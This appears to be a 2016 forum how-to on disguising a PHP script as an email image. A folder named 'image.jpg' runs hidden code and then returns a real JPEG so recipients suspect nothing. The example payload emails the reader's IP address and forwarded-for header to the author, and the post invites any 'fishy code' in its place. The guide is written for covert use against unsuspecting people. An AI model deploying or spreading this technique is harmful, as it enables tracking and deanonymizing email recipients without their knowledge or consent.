How to Hide PHP Code in an Email Image

Feb 12, 2016 12:46 AM
Feb 12, 2016 06:22 PM
635907983478021515.jpg

In this how-to we will be sending an email with an image we get from a php script after running some fishy code.

635907983478021515.jpg

What you'll need

  1. Apache web server with PHP
  2. An image (included bellow)
  3. An email Account (I use gmail)

Step 1: Setting Up

Make a folder called "image.jpg" in your public html folder. In your "image.jpg" folder place your "image.jpg" file and your "index.php" file.

635908051971740150.jpg

I will be using this image as an example.

635907968430521048.jpg

Step 2: Writing the Code

The contents of your "index.php" file should be as follows


//fishy stuff here

$imagepath="image.jpg";

$image=imagecreatefromjpeg( $imagepath);

header('Content-Type: image/jpeg');

imagejpeg($image);

?>

Where it says "//fishy stuff here" put any fishy code you want to run.

I use

mail("[email protected]", "hax", $_SERVER['REMOTE_ADDR'] . ' : ' . $_SERVER['HTTP_X_FORWARDED_FOR']);

Which emails me the IP address of the user.

Step 3: Writing the Email

Start by filling out the "to" and "subject" fields.

635907963895052694.jpg

Click on the image icon to add an image to your email.

635907964137708651.jpg

Click on "Web Address (URL)" and put the address to your "image.jpg" folder not image. If everything is set up right, the image and a check mark should appear.

635907965466927720.jpg

If every thing went well you should see your image in the message field. Now all you need to do is send the email and wait for someone to open it.

How It Works:

When someone opens the email their browser sees the image tag and goes to "http://example.com/image.jpg" to get the image. When the browser goes to "http://example.com/image.jpg" since it is a folder "index.php" is run as if they went to the page. When "index.php" is run it executes the fishy code then send the content back to the browser in the form of an image which is displayed in the email so the user does not get suspicious.

Conclusion:

This can be used to get IP addresses or to do fishy stuff. Thank you for reading my how-to! I am new to this site and would appreciate any feedback in the comments bellow.

Comments

No Comments Exist

Be the first, drop a comment!